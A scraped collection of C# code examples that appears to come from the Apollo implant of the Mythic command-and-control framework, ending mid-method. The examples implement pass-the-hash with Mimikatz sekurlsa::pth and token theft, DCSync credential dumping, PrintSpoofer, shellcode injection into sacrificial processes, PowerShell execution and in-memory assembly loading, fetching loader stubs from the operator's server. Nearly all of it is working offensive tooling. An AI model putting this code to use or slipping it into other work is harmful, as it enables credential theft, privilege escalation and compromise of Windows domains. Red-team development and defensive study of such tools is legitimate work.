Example #1
0
        public static void PassTheHash(Job job, Agent implant)
        {
            Task task = job.Task;
            PassTheHashParameters taskParams;
            string           sacrificialApplication;
            string           commandLine = "";
            string           command     = "\"sekurlsa::pth /user:{0} /domain:{1} /ntlm:{2} /run:{3}\"";
            string           loaderStubID;
            string           pipeName;
            int              pidOfPTHProccess = -1;
            JObject          json;
            List <string>    output = new List <string>();
            MythicCredential cred;

            try
            {
                taskParams = JsonConvert.DeserializeObject <PassTheHashParameters>(job.Task.parameters);
            }
            catch (Exception ex)
            {
                job.SetError($"Error deserializing task parameters. Malformed JSON. System exception: {ex.Message}\n\nTask Parameters:\n{task.parameters}");
                return;
            }
            cred = taskParams.credential;


            if (string.IsNullOrEmpty(cred.account) || string.IsNullOrEmpty(cred.credential))
            {
                job.SetError("Username and password are required for pth.");
                return;
            }

            if (cred.credential_type != "hash")
            {
                job.SetError($"pth built-in can only be used with hash-type (e.g., RC4 or NTLM) credentials, and was given credentials of type {cred.credential_type}");
                return;
            }


            string userFQDN = cred.account;

            if (string.IsNullOrEmpty(cred.realm))
            {
                job.SetError("pth requires a valid realm or domain to be set.");
                return;
            }

            command = string.Format(command, new object[] { cred.account, cred.realm, cred.credential, taskParams.program });
            byte[] loaderStub;

            /*
             * Response from the server should be of the form:
             * {
             * "assembly_name": "registered assembly name",
             * "loader_stub_id": "File ID of the loader stub",
             * "pipe_name": "named pipe to connect to",
             * "assembly_arguments": "command line arguments to send",
             * }
             */
            //ProcessWithAnonymousPipeIO sacrificialProcess = null;
            SacrificialProcesses.SacrificialProcess sacrificialProcess = null;


            // Reset the loader stub each time as a new named pipe is given to us from on high.
            loaderStub = null;
            try
            {
                loaderStub = implant.Profile.GetFile(task.id, taskParams.loader_stub_id, implant.Profile.ChunkSize);
            }
            catch (Exception ex)
            {
                job.SetError($"Failed to fetch loader stub for Mimikatz. Reason: {ex.Message}.\nParameters:\n{task.parameters}");
                return;
            }
            if (loaderStub == null || loaderStub.Length == 0)
            {
                job.SetError(String.Format("Unable to retrieve DLL shellcode stub with ID {0}", taskParams.loader_stub_id));
                return;
            }

            pipeName = taskParams.pipe_name;
            if (string.IsNullOrEmpty(pipeName))
            {
                job.SetError("No pipe name was given to DLL to start the named pipe server.");
                return;
            }


            var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation();

            try
            {
                sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true);

                if (sacrificialProcess.Start())
                {
                    job.ProcessID          = (int)sacrificialProcess.PID;
                    job.sacrificialProcess = sacrificialProcess;
                    ApolloTaskResponse response;

                    if (sacrificialProcess.Inject(loaderStub))
                    {
                        //sacrificialProcess.CreateNewRemoteThread(tempBytes);
                        //sacrificialProcess.ResumeThread();
                        // bool bRet = sacrificialProcess.StillActive();
                        NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName);

                        pipeClient.Connect(30000);

                        StreamWriter writer;
                        try
                        {
                            writer = new StreamWriter(pipeClient);
                            writer.Write(command);
                            writer.Flush();
                            using (StreamReader sr = new StreamReader(pipeClient))
                            {
                                //sr.ReadLine();
                                var line = sr.ReadLine();
                                while (line != null && line.ToUpper().Trim() != "EOF")
                                {
                                    if (line.Contains(" PID "))
                                    {
                                        string[] parts = line.Trim().Split(' ');
                                        if (parts.Length != 5)
                                        {
                                            job.SetError($"No PID could be enumerated from the line: {line}");
                                            break;
                                        }
                                        else
                                        {
                                            if (!int.TryParse(parts[4].Trim(), out pidOfPTHProccess))
                                            {
                                                job.SetError($"Failed to parse PID from: {parts[1].Trim()}");
                                                break;
                                            }
                                        }
                                    }
                                    output.Add(line);
                                    line = sr.ReadLine();
                                }
                            }
                            if (pipeClient.IsConnected)
                            {
                                writer.Close();
                            }

                            if (output.Count > 0)
                            {
                                job.AddOutput(output.ToArray());
                                output.Clear();
                            }
                        }
                        catch (Exception ex)
                        {
                            job.SetError(String.Format("Error while reading from stream: {0}", ex.Message));
                        }

                        if (pidOfPTHProccess != -1)
                        {
                            IntPtr procHandle;
                            IntPtr hStolenToken;
                            try
                            {
                                procHandle = System.Diagnostics.Process.GetProcessById((int)Convert.ToInt32(pidOfPTHProccess)).Handle;
                            }
                            catch (Exception ex)
                            {
                                throw new Exception($"Failed to acquire handle to process {pidOfPTHProccess}. Reason: {ex.Message}");
                            }

                            // Stores the handle for the original process token
                            hStolenToken = IntPtr.Zero; // Stores the handle for our duplicated token

                            // Get handle to target process token
                            bool bRet = OpenProcessToken(
                                procHandle,                                                                                      // ProcessHandle
                                (uint)(TokenAccessLevels.Duplicate | TokenAccessLevels.AssignPrimary | TokenAccessLevels.Query), // desiredAccess
                                out IntPtr tokenHandle);                                                                         // TokenHandle

                            if (!bRet)
                            {
                                throw new Exception($"Failed to open process token: {Marshal.GetLastWin32Error()}");
                                //return;
                            }// Check if OpenProcessToken was successful

                            if (!CredentialManager.SetImpersonatedPrimaryToken(tokenHandle))
                            {
                                throw new Exception($"Failed to set new primary token: {Marshal.GetLastWin32Error()}");
                            }


                            // Duplicate token as stolenHandle
                            bRet = DuplicateTokenEx(
                                tokenHandle,                                                                                                                     // hExistingToken
                                TokenAccessLevels.MaximumAllowed, /*.TOKEN_QUERY | TokenAccessRights.TOKEN_DUPLICATE | TokenAccessRights.TOKEN_ASSIGN_PRIMARY,*/ // dwDesiredAccess
                                IntPtr.Zero,                                                                                                                     // lpTokenAttributes
                                TokenImpersonationLevel.Impersonation,                                                                                           // ImpersonationLevel
                                TOKEN_TYPE.TokenImpersonation,                                                                                                   // TokenType
                                out hStolenToken);                                                                                                               // phNewToken


                            // end testing
                            if (!bRet) // Check if DuplicateTokenEx was successful
                            {
                                throw new Exception($"Failed to duplicate token handle: {Marshal.GetLastWin32Error()}");
                            }

                            ////bRet = ImpersonateLoggedOnUser(tokenHandle);
                            //if (!bRet)
                            //{
                            //    task.status = "error";
                            //    task.message = $"Failed to impersonate logged on user: {Marshal.GetLastWin32Error()}";
                            //}


                            //CloseHandle(tokenHandle);
                            //CloseHandle(procHandle);
                            if (!CredentialManager.SetImpersonatedImpersonationToken(hStolenToken))
                            {
                                throw new Exception($"Failed to impersonate user. Reason: {Marshal.GetLastWin32Error()}");
                            }
                            else
                            {
                                WindowsIdentity ident = new WindowsIdentity(hStolenToken);
                                job.SetComplete($"\n\nSuccessfully impersonated {ident.Name}!");
                                ident.Dispose();
                            }
                        }
                        else
                        {
                            job.SetError("Failed to acquire PID of PTH process.");
                        }
                    }
                    else
                    {
                        job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                    }
                }
                else
                {
                    job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                }
            }
            catch (Exception ex)
            {
                if (sacrificialProcess != null)
                {
                    job.SetError(String.Format("Error in PTH (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message));
                }
                else
                {
                    job.SetError(String.Format("Error in PTH. Reason: {0}", ex.Message));
                }
            }
            finally
            {
                if (!sacrificialProcess.HasExited)
                {
                    sacrificialProcess.Kill();
                }
            }
        }
Example #2
0
        /// <summary>
        /// Execute an arbitrary C# assembly in a sacrificial process
        /// that respects the current caller's token.
        /// </summary>
        /// <param name="job">
        /// Job associated with this task. job.Task.parameters
        /// should contain a JSON structure with key "assembly" that
        /// has an associated Apfell file ID to pull from the server.
        /// This assembly is position-independent code generated from
        /// donut with arguments baked in.
        /// </param>
        /// <param name="agent">Agent this task is run on.</param>
        public static void Execute(Job job, Agent implant)
        {
            Task          task = job.Task;
            string        sacrificialApplication;
            string        commandLine = "";
            string        command     = "";
            string        loaderStubID;
            string        pipeName;
            JObject       json;
            List <string> output = new List <string>();

            /*
             * Response from the server should be of the form:
             * {
             * "assembly_name": "registered assembly name",
             * "loader_stub_id": "File ID of the loader stub",
             * "pipe_name": "named pipe to connect to",
             * "assembly_arguments": "command line arguments to send",
             * }
             */
            //ProcessWithAnonymousPipeIO sacrificialProcess = null;
            SacrificialProcesses.SacrificialProcess sacrificialProcess = null;
            try
            {
                json = (JObject)JsonConvert.DeserializeObject(task.parameters);
            }
            catch (Exception ex)
            {
                task.status  = "error";
                task.message = $"Error deserializing task parameters. Malformed JSON. System exception: {ex.Message}\n\nTask Parameters:\n{task.parameters}";
                return;
            }

            loaderStubID = json.Value <string>("loader_stub_id");
            // Reset the loader stub each time as a new named pipe is given to us from on high.
            loaderStub = null;
            try
            {
                loaderStub = implant.Profile.GetFile(task.id, loaderStubID, implant.Profile.ChunkSize);
            }
            catch (Exception ex)
            {
                task.status  = "error";
                task.message = $"Failed to fetch loader stub for PrintSpoofer. Reason: {ex.Message}.\nParameters:\n{task.parameters}";
                return;
            }
            if (loaderStub == null || loaderStub.Length == 0)
            {
                job.Task.status  = "error";
                job.Task.message = String.Format("Unable to retrieve DLL shellcode stub with ID {0}", loaderStubID);
                return;
            }

            pipeName = json.Value <string>("pipe_name");
            if (string.IsNullOrEmpty(pipeName))
            {
                job.Task.status  = "error";
                job.Task.message = "No pipe name was given to DLL to start the named pipe server.";
                return;
            }

            var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation();

            try
            {
                // Technically we don't need the named pipe IO, but this class already has implemented what we need for
                // various token impersonation things, so why not.
                //if (implant.HasAlternateToken())
                //{
                //    sacrificialProcess = new ProcessWithAnonymousPipeIO(sacrificialApplication, commandLine, Win32.Advapi32.ProcessCreationFlags.CREATE_SUSPENDED, true, false);
                //}
                //else if (implant.HasCredentials())
                //{
                //    sacrificialProcess = new ProcessWithAnonymousPipeIO(sacrificialApplication, commandLine, Win32.Advapi32.ProcessCreationFlags.CREATE_SUSPENDED, false, true);
                //}
                //else
                //{
                //    sacrificialProcess = new ProcessWithAnonymousPipeIO(sacrificialApplication, commandLine, Win32.Advapi32.ProcessCreationFlags.CREATE_SUSPENDED);
                //}

                // Deal with tokens later....

                sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true);

                if (sacrificialProcess.Start())
                {
                    job.ProcessID          = (int)sacrificialProcess.PID;
                    job.sacrificialProcess = sacrificialProcess;
                    ApolloTaskResponse response; //= new SCTaskResp(job.Task.id, false, String.Format("Sacrificial process spawned with PID: {0}", sacrificialProcess.PID), "");
                                                 //implant.TryPostResponse(response);
                    ////byte[] tempBytes = File.ReadAllBytes("C:\\Users\\Public\\helloworldsc_noargs.bin");
                    if (sacrificialProcess.Inject(loaderStub))
                    {
                        //sacrificialProcess.CreateNewRemoteThread(tempBytes);
                        //sacrificialProcess.ResumeThread();
                        // bool bRet = sacrificialProcess.StillActive();
                        NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName);

                        pipeClient.Connect(30000);

                        StreamWriter writer;
                        try
                        {
                            writer  = new StreamWriter(pipeClient);
                            command = json.Value <string>("command");
                            writer.Write(command);
                            writer.Flush();
                            using (StreamReader sr = new StreamReader(pipeClient))
                            {
                                //sr.ReadLine();
                                var line = sr.ReadLine();
                                while (line != null && line.ToUpper().Trim() != "EOF")
                                {
                                    job.AddOutput(line);
                                    line = sr.ReadLine();
                                }
                            }
                            if (pipeClient.IsConnected)
                            {
                                writer.Close();
                            }
                            job.SetComplete();
                        }
                        catch (Exception ex)
                        {
                            job.SetError(String.Format("Error while reading from stream: {0}", ex.Message));
                        }
                    }
                    else
                    {
                        job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                    }
                }
                else
                {
                    job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                }
            }
            catch (Exception ex)
            {
                if (sacrificialProcess != null)
                {
                    job.SetError(String.Format("Error in PrintSpoofer (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message));
                }
                else
                {
                    job.SetError(String.Format("Error in PrintSpoofer. Reason: {0}", ex.Message));
                }
            }
            finally
            {
                if (!sacrificialProcess.HasExited)
                {
                    sacrificialProcess.Kill();
                }
            }
        }
Example #3
0
        public static void DCSync(Job job, Agent implant)
        {
            DCSyncParameters dcsParams;
            Task             task = job.Task;
            string           command;
            string           sacrificialApplication;
            string           commandLine = "";
            string           loaderStubID;
            string           pipeName;
            JObject          json;
            List <string>    output        = new List <string>();
            string           formatCommand = "\"lsadump::dcsync /domain:{0} /user:{1}\"";

            dcsParams = JsonConvert.DeserializeObject <DCSyncParameters>(job.Task.parameters);
            if (string.IsNullOrEmpty(dcsParams.domain))
            {
                job.SetError("Missing required parameter: domain");
                return;
            }

            if (string.IsNullOrEmpty(dcsParams.user))
            {
                job.SetError("Missing required parameter: user");
                return;
            }

            if (dcsParams.domain.Split(' ').Length > 1)
            {
                job.SetError($"Invalid domain: {dcsParams.domain}");
                return;
            }

            if (dcsParams.user.Split(' ').Length > 1)
            {
                job.SetError($"Invalid user: {dcsParams.user}");
                return;
            }

            command = string.Format(formatCommand, dcsParams.domain, dcsParams.user);

            byte[] loaderStub;

            /*
             * Response from the server should be of the form:
             * {
             * "assembly_name": "registered assembly name",
             * "loader_stub_id": "File ID of the loader stub",
             * "pipe_name": "named pipe to connect to",
             * "assembly_arguments": "command line arguments to send",
             * }
             */
            //ProcessWithAnonymousPipeIO sacrificialProcess = null;
            SacrificialProcesses.SacrificialProcess sacrificialProcess = null;


            // Reset the loader stub each time as a new named pipe is given to us from on high.
            loaderStub = null;
            try
            {
                loaderStub = implant.Profile.GetFile(task.id, dcsParams.loader_stub_id, implant.Profile.ChunkSize);
            }
            catch (Exception ex)
            {
                job.SetError($"Failed to fetch loader stub for Mimikatz. Reason: {ex.Message}.\nParameters:\n{task.parameters}");
                return;
            }
            if (loaderStub == null || loaderStub.Length == 0)
            {
                job.SetError(String.Format("Unable to retrieve DLL shellcode stub with ID {0}", dcsParams.loader_stub_id));
                return;
            }

            pipeName = dcsParams.pipe_name;
            if (string.IsNullOrEmpty(pipeName))
            {
                job.SetError("No pipe name was given to DLL to start the named pipe server.");
                return;
            }

            var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation();

            try
            {
                sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true);

                if (sacrificialProcess.Start())
                {
                    job.ProcessID          = (int)sacrificialProcess.PID;
                    job.sacrificialProcess = sacrificialProcess;
                    ApolloTaskResponse response;

                    if (sacrificialProcess.Inject(loaderStub))
                    {
                        //sacrificialProcess.CreateNewRemoteThread(tempBytes);
                        //sacrificialProcess.ResumeThread();
                        // bool bRet = sacrificialProcess.StillActive();
                        NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName);

                        pipeClient.Connect(30000);

                        StreamWriter writer;
                        try
                        {
                            writer = new StreamWriter(pipeClient);
                            writer.Write(command);
                            writer.Flush();
                            using (StreamReader sr = new StreamReader(pipeClient))
                            {
                                //sr.ReadLine();
                                var line = sr.ReadLine();
                                while (line != null && line.ToUpper().Trim() != "EOF")
                                {
                                    output.Add(line);
                                    line = sr.ReadLine();
                                }
                            }
                            if (pipeClient.IsConnected)
                            {
                                writer.Close();
                            }

                            if (output.Count > 0)
                            {
                                job.SetComplete(output.ToArray());
                            }
                        }
                        catch (Exception ex)
                        {
                            job.SetError(String.Format("Error while reading from stream: {0}", ex.Message));
                        }
                    }
                    else
                    {
                        job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                    }
                }
                else
                {
                    job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                }
            }
            catch (Exception ex)
            {
                if (sacrificialProcess != null)
                {
                    job.SetError(String.Format("Error in DCSync (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message));
                }
                else
                {
                    job.SetError(String.Format("Error in DCSync. Reason: {0}", ex.Message));
                }
            }
            finally
            {
                if (!sacrificialProcess.HasExited)
                {
                    sacrificialProcess.Kill();
                }
            }
        }
Example #4
0
        public static void Execute(Job job, Agent agent)
        {
            Task task = job.Task;

            SpawnParameters args;

            byte[]             templateFile;
            string             sacrificialApplication;
            SacrificialProcess sacrificialProcess = null;

            try
            {
                args = JsonConvert.DeserializeObject <SpawnParameters>(task.parameters);
            } catch (Exception ex)
            {
                job.SetError(string.Format("Failed to deserialize arguments from {0}. Error: {1}", task.parameters, ex.Message));
                return;
            }
            if (string.IsNullOrEmpty(args.template))
            {
                job.SetError("No template passed given to inject.");
                return;
            }

            templateFile = agent.Profile.GetFile(job.Task.id, args.template, agent.Profile.ChunkSize);
            if (templateFile.Length == null || templateFile.Length == 0)
            {
                job.SetError($"Unable to retrieve template ID: {args.template}");
                return;
            }

            var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation();

            try
            {
                sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true);

                if (sacrificialProcess.Start())
                {
                    job.ProcessID          = (int)sacrificialProcess.PID;
                    job.sacrificialProcess = sacrificialProcess;
                    if (sacrificialProcess.Inject(templateFile))
                    {
                        job.SetComplete(string.Format("Spawned {0} (PID: {1}) and successfully injected the specified payload template.", startupArgs.Application, sacrificialProcess.PID));
                    }
                    else
                    {
                        job.SetError($"Failed to inject payload: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                    }
                }
                else
                {
                    job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                }
            }
            catch (Exception ex)
            {
                if (sacrificialProcess != null)
                {
                    job.SetError(String.Format("Error spawning agent (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message));
                }
                else
                {
                    job.SetError(String.Format("Error spawning agent. Reason: {0}", ex.Message));
                }
            }
            finally
            {
                if (job.Task.status == "error" && !sacrificialProcess.HasExited)
                {
                    sacrificialProcess.Kill();
                }
            }
        }
        public static void ExecutePowerPick(AJ.Job job, Agent agent)
        {
            Task   task = job.Task;
            string psCommand;
            string loadedScript = GetAllLoadedScripts();
            string loaderStubID = "";

            byte[] loaderStub = null;
            string pipeName;


            JObject json = (JObject)JsonConvert.DeserializeObject(task.parameters);

            loaderStubID = json.Value <string>("loader_stub_id");
            // Reset the loader stub each time as a new named pipe is given to us from on high.
            loaderStub = agent.Profile.GetFile(task.id, loaderStubID, agent.Profile.ChunkSize);
            if (loaderStub == null || loaderStub.Length == 0)
            {
                job.SetError(String.Format("Unable to retrieve assembly loader shellcode stub with ID {0}", loaderStubID));
                return;
            }

            pipeName = json.Value <string>("pipe_name");
            if (pipeName == "")
            {
                job.SetError("No pipe name was given to connect to (server issue).");
                return;
            }

            psCommand = json.Value <string>("powershell_params");
            if (psCommand == "")
            {
                job.SetError("No parameters were given to execute.");
                return;
            }


            // Spawn new process
            // Inject into process
            // Send PowerShell to process
            // Receive output from PowerShell

            //ProcessWithAnonymousPipeIO sacrificialProcess = null;

            SacrificialProcesses.SacrificialProcess sacrificialProcess = null;
            string sacrificialApp;

            var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation();

            try
            {
                sacrificialProcess         = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true);
                sacrificialProcess.Exited += delegate(object sender, EventArgs e)
                {
                    job.SetComplete("");
                };

                ApolloTaskResponse response;
                Mythic.Structs.AssemblyResponse asmResponse;


                if (sacrificialProcess.Start())
                {
                    job.ProcessID          = (int)sacrificialProcess.PID;
                    job.sacrificialProcess = sacrificialProcess;
                    asmResponse            = new Mythic.Structs.AssemblyResponse()
                    {
                        sacrificial_pid          = (int)sacrificialProcess.PID,
                        sacrificial_process_name = startupArgs.Application
                    };

                    #region PowerPick Testing
                    // setup redirection
                    sacrificialProcess.OutputDataReceived = delegate(string data)
                    {
                        job.AddOutput(data);
                    };

                    sacrificialProcess.ErrorDataReceived = delegate(string data)
                    {
                        job.AddOutput(data);
                    };
                    #endregion

                    if (sacrificialProcess.Inject(loaderStub))
                    {
                        // Connect to initial named pipe and send job
                        // Also sends along task ID to use as new named pipe name to read output
                        // This prevents colliding with other jobs that might be running at the same time
                        // ...hopefully
                        NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName);

                        pipeClient.Connect(30000);

                        BinaryFormatter bf = new BinaryFormatter();
                        bf.Binder = new PowerShellJobMessageBinder();
                        bf.Serialize(pipeClient, new PowerShellJobMessage()
                        {
                            LoadedScript = loadedScript,
                            Command      = psCommand,
                            ID           = job.Task.id,
                        });


                        try
                        {
                            var msg = (PowerShellTerminatedMessage)bf.Deserialize(pipeClient);
                            #region old good code
                            //List<string> output = new List<string>();
                            //using (StreamReader sr = new StreamReader(pipeClient))
                            //{
                            //    //sr.ReadLine();
                            //    while (!sr.EndOfStream)
                            //    {
                            //        var line = sr.ReadLine();
                            //        if (output.Count > 4)
                            //        {
                            //            asmResponse.output = output.ToArray();
                            //            response = new ApolloTaskResponse(job.Task.id, false, asmResponse, "");
                            //            agent.TryPostResponse(task.id, response);
                            //            output.Clear();
                            //        }
                            //        output.Add(line);
                            //    }
                            //    if (output.Count > 0)
                            //    {
                            //        asmResponse.output = output.ToArray();
                            //        response = new ApolloTaskResponse(job.Task.id, false, asmResponse, "");
                            //        agent.TryPostResponse(task.id, response);
                            //        output.Clear();
                            //    }
                            //}
                            #endregion
                        }
                        catch (Exception e)
                        {
                            job.SetError(String.Format("Error while reading from stream: {0}", e.Message));
                            return;
                        }
                    }
                    else
                    {
                        job.SetError($"Could not inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                    }
                }
                else
                {
                    job.SetError($"Could not start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                }
            }
            catch (Exception e)
            {
                if (sacrificialProcess != null)
                {
                    job.SetError(String.Format("Error in powerpick (PID: {0}). Reason: {1}", sacrificialProcess.PID, e.Message));
                }
                else
                {
                    job.SetError(String.Format("Error in powerpick. Reason: {0}", e.Message));
                }
            }
            finally
            {
                if (!sacrificialProcess.HasExited)
                {
                    sacrificialProcess.Kill();
                }
            }
        }
Example #6
0
        static void ExecuteAssembly(Job job, Agent implant)
        {
            Task   task = job.Task;
            string sacrificialApplication;
            string commandLine = "";
            string loaderStubID;
            string pipeName;
            string assemblyName;

            string[] assemblyArguments;
            byte[]   assemblyBytes = null;
            //List<string> output = new List<string>();

            /*
             * Response from the server should be of the form:
             * {
             * "assembly_name": "registered assembly name",
             * "loader_stub_id": "File ID of the loader stub",
             * "pipe_name": "named pipe to connect to",
             * "assembly_arguments": "command line arguments to send",
             * }
             */
            SacrificialProcesses.SacrificialProcess sacrificialProcess = null;
            JObject json = (JObject)JsonConvert.DeserializeObject(task.parameters);

            assemblyName = json.Value <string>("assembly_name");
            if (!loadedAssemblies.ContainsKey(assemblyName))
            {
                job.SetError(String.Format("Assembly {0} has not been loaded. Please load the assembly with the 'register_assembly' command.", assemblyName));
                return;
            }
            loaderStubID = json.Value <string>("loader_stub_id");
            // Reset the loader stub each time as a new named pipe is given to us from on high.
            loaderStub = null;
            loaderStub = implant.Profile.GetFile(task.id, loaderStubID, implant.Profile.ChunkSize);
            if (loaderStub == null || loaderStub.Length == 0)
            {
                job.SetError(String.Format("Unable to retrieve assembly loader shellcode stub with ID {0}", loaderStubID));
                return;
            }

            pipeName = json.Value <string>("pipe_name");
            if (pipeName == "")
            {
                job.SetError("No pipe name was given to send the assembly to execute.");
                return;
            }

            assemblyArguments = SplitCommandLine(json.Value <string>("assembly_arguments"));
            assemblyBytes     = GetAssembly(assemblyName);

            var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation();

            try
            {
                sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true);

                ApolloTaskResponse artifactResp;

                if (sacrificialProcess.Start())
                {
                    job.ProcessID          = (int)sacrificialProcess.PID;
                    job.sacrificialProcess = sacrificialProcess;

                    if (sacrificialProcess.Inject(loaderStub))
                    {
                        NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName);
                        pipeClient.Connect(30000);
                        // Method 1
                        BinaryFormatter bf = new BinaryFormatter();
                        bf.Binder = new AssemblyJobMessageBinder();
                        bf.Serialize(pipeClient, new AssemblyJobMessage()
                        {
                            AssemblyBytes = assemblyBytes,
                            Args          = assemblyArguments,
                        });

                        try
                        {
                            using (StreamReader sr = new StreamReader(pipeClient))
                            {
                                //sr.ReadLine();
                                while (!sr.EndOfStream)
                                {
                                    var line = sr.ReadLine();
                                    if (line != null)
                                    {
                                        job.AddOutput(line);
                                    }
                                }
                            }
                        }
                        catch (Exception ex)
                        {
                            job.SetError(String.Format("Error while reading from stream: {0}", ex.Message));
                            return;
                        }
                        job.SetComplete("");
                    }
                }
                else
                {
                    job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                }
            }
            catch (Exception ex)
            {
                if (sacrificialProcess != null)
                {
                    job.SetError(String.Format("Error in execute-assembly (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message));
                }
                else
                {
                    job.SetError(String.Format("Error in execute-assembly. Reason: {0}", ex.Message));
                }
            }
            finally
            {
                if (!sacrificialProcess.HasExited)
                {
                    sacrificialProcess.Kill();
                }
            }
        }
Example #7
0
        /// <summary>
        /// Run an arbitrary executable with command line arguments or
        /// run a shell command via cmd.exe /c.
        /// </summary>
        /// <param name="job">
        /// Job associated with this task. If the task is "shell" then
        /// the application to launch will be cmd.exe with job.Task.parameters
        /// specifying the shell command to execute. Otherwise, the application
        /// to launch is given by the first space-delimited argument in
        /// job.Task.parameters.
        /// </param>
        /// <param name="implant">Agent associated with this job.Task.</param>
        public static void Execute(Job job, Agent implant)
        {
            SacrificialProcesses.SacrificialProcess sacrificialProcess = null;
            string             applicationName;
            string             commandLine = ""; // Probably can implement some argument spoofing stuff down the line
            string             cmdString;
            ApolloTaskResponse response;
            string             originalParams = job.Task.parameters.Trim();

            string[] split = SplitCommandLine(job.Task.parameters.Trim());
            //applicationName = split[0];

            if (job.Task.command == "shell")
            {
                applicationName = "cmd.exe";
                commandLine    += String.Format("/c \"{0}\"", split[0]);
            }
            else
            {
                applicationName = split[0];
            }

            if (split.Length > 1)
            {
                int    firstIndex     = originalParams.IndexOf(split[0]);
                string subsequentArgs = "";
                switch (firstIndex)
                {
                case 0:
                    subsequentArgs = originalParams.Substring(split[0].Length).Trim();
                    break;

                case 1:
                    if (originalParams[0] == '"' && originalParams[split[0].Length + 1] != '"')
                    {
                        job.SetError($"Command line is of unexpected format. Expected {split[0]} to be encapsulated in quotes in the original command, but got {originalParams}");
                        return;
                    }
                    else if (originalParams[0] == '\'' && originalParams[split[0].Length + 1] != '\'')
                    {
                        job.SetError($"Command line is of unexpected format. Expected {split[0]} to be encapsulated in quotes in the original command, but got {originalParams}");
                        return;
                    }
                    else
                    {
                        subsequentArgs = originalParams.Substring(split[0].Length + 2).Trim();
                    }
                    break;

                default:
                    job.SetError($"Invalid command line format. Expected first command line argument to be program or program enclosed in quotes, but instead got {split[0]}");
                    return;
                }
                if (commandLine != "")
                {
                    commandLine += String.Format(" {0}", subsequentArgs);
                }
                else
                {
                    commandLine = subsequentArgs;
                }
                cmdString = String.Format("{0} {1}", applicationName, commandLine);
            }
            else if (commandLine != "")
            {
                cmdString = String.Format("{0} {1}", applicationName, commandLine);
            }
            else
            {
                cmdString = applicationName;
            }

            try
            {
                sacrificialProcess = new SacrificialProcesses.SacrificialProcess(applicationName, commandLine);

                sacrificialProcess.OutputDataReceived = delegate(string data)
                {
                    job.AddOutput(data);
                };

                sacrificialProcess.ErrorDataReceived = delegate(string data)
                {
                    job.AddOutput(data);
                };
                if (sacrificialProcess.Start())
                {
                    job.ProcessID          = (int)sacrificialProcess.PID;
                    job.sacrificialProcess = sacrificialProcess;
                    sacrificialProcess.WaitForExit();
                }
                else
                {
                    job.SetError($"Failed to start sacrificial process. GetLastError(): {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                }
            } catch (Exception ex)
            {
                if (sacrificialProcess != null)
                {
                    job.SetError(String.Format("Error in executing \"{0}\" (PID: {1}). Reason: {2}", cmdString, sacrificialProcess.PID, ex.Message));
                }
                else
                {
                    job.SetError(String.Format("Error in executing \"{0}\". Reason: {1}", cmdString, ex.Message));
                }
            }

            if (sacrificialProcess != null)
            {
                if (sacrificialProcess.ExitCode == 0 && sacrificialProcess.PID != 0)
                {
                    job.SetComplete(String.Format("Process executed \"{0}\" with PID {1} and returned exit code {2}", cmdString, sacrificialProcess.PID, sacrificialProcess.ExitCode));
                }
                else
                {
                    job.SetError($"Unknown error. Exit code: {sacrificialProcess.ExitCode} from PID: {sacrificialProcess.PID}");
                }
            }
        }
Example #8
0
        /// <summary>
        /// Execute an arbitrary C# assembly in a sacrificial process
        /// that respects the current caller's token.
        /// </summary>
        /// <param name="job">
        /// Job associated with this task. job.Task.parameters
        /// should contain a JSON structure with key "assembly" that
        /// has an associated Apfell file ID to pull from the server.
        /// This assembly is position-independent code generated from
        /// donut with arguments baked in.
        /// </param>
        /// <param name="agent">Agent this task is run on.</param>
        public static void Execute(Job job, Agent implant)
        {
            Task          task = job.Task;
            string        sacrificialApplication;
            string        commandLine = "";
            string        command     = "";
            string        loaderStubID;
            string        pipeName;
            JObject       json;
            List <string> output = new List <string>();

            /*
             * Response from the server should be of the form:
             * {
             * "loader_stub_id": "File ID of the loader stub",
             * "pipe_name": "named pipe to connect to",
             * "command": "command line arguments to send",
             * }
             */
            //ProcessWithAnonymousPipeIO sacrificialProcess = null;
            SacrificialProcesses.SacrificialProcess sacrificialProcess = null;
            try
            {
                json = (JObject)JsonConvert.DeserializeObject(task.parameters);
            } catch (Exception ex)
            {
